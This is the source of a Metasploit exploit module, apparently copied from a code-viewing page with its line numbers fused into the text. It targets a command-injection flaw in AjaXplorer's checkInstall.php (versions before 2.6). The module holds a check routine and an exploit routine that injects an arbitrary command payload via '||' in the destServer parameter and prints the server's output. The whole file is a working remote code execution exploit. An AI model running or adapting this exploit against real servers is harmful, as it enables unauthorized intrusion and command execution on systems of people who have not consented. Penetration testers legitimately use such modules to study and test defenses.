Path: blob/master/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
24704 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',15'Description' => %q{16This module exploits an arbitrary command execution vulnerability in the17AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to182.6 are vulnerable.19},20'Author' => [21'Julien Cayssol', # Credited according to SecurityFocus22'David Maciejak', # Metasploit module23'sinn3r' # Final touch on the Metasploit module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2010-10013' ],28[ 'OSVDB', '63552' ],29[ 'BID', '39334' ]30],31'Privileged' => false,32'Payload' => {33'DisableNops' => true,34'Space' => 512,35'Compat' =>36{37'ConnectionType' => 'find',38'PayloadType' => 'cmd',39'RequiredCmd' => 'generic perl ruby python telnet'40}41},42'Platform' => %w{bsd linux osx unix win},43'Arch' => ARCH_CMD,44'Targets' => [[ 'AjaXplorer 2.5.5 or older', {}]],45'DisclosureDate' => '2010-04-04',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])58]59)60end6162def check63uri = target_uri.path64uri << '/' if uri[-1, 1] != '/'65clue = Rex::Text::rand_text_alpha(rand(5) + 5)6667res = send_request_cgi({68'method' => 'GET',69'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),70'vars_get' => {71'destServer' => "||echo #{clue}"72}73})7475# If the server doesn't return the default redirection, probably something is wrong76if res and res.code == 200 and res.body =~ /#{clue}/77return Exploit::CheckCode::Vulnerable78end7980return Exploit::CheckCode::Safe81end8283def exploit84peer = "#{rhost}:#{rport}"85uri = target_uri.path8687# Trigger the command execution bug88res = send_request_cgi({89'method' => 'GET',90'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"),91'vars_get' =>92{93'destServer' => "||#{payload.encoded}"94}95})9697if res98print_status("The server returned: #{res.code} #{res.message}")99m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''100101if m.empty?102print_error("This server may not be vulnerable")103else104print_status("Command output from the server:")105print_line(m)106end107end108end109end110111=begin112Repo:113http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/114=end115116117